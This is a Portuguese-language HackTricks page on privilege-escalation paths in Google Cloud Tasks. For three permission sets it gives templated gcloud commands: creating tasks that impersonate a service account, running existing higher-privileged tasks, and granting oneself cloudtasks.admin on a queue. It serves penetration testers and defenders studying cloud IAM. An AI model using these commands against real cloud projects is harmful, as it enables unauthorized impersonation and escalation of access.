GCP - Cloud Tasks Privesc
Reading time: 3 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cloud Tasks
cloudtasks.tasks.create
, iam.serviceAccounts.actAs
Um atacante com essas permissões pode impersonar outras contas de serviço criando tarefas que são executadas com a identidade da conta de serviço especificada. Isso permite enviar requisições HTTP autenticadas para serviços Cloud Run ou Cloud Functions protegidos pelo IAM.
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
cloudtasks.tasks.run
, cloudtasks.tasks.list
Um atacante com essas permissões pode executar tarefas agendadas existentes sem ter permissões na conta de serviço associada à tarefa. Isso permite a execução de tarefas que foram criadas anteriormente com contas de serviço de maior privilégio.
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
O principal que executa este comando não precisa da permissão iam.serviceAccounts.actAs
na conta de serviço da tarefa. No entanto, isso apenas permite a execução de tarefas existentes - não concede a capacidade de criar ou modificar tarefas.
cloudtasks.queues.setIamPolicy
Um atacante com essa permissão pode conceder a si mesmo ou a outros principais funções do Cloud Tasks em filas específicas, potencialmente escalando para roles/cloudtasks.admin
, que inclui a capacidade de criar e executar tarefas.
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
Isso permite que o atacante conceda permissões administrativas completas do Cloud Tasks na fila a qualquer conta de serviço que eles controlam.
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.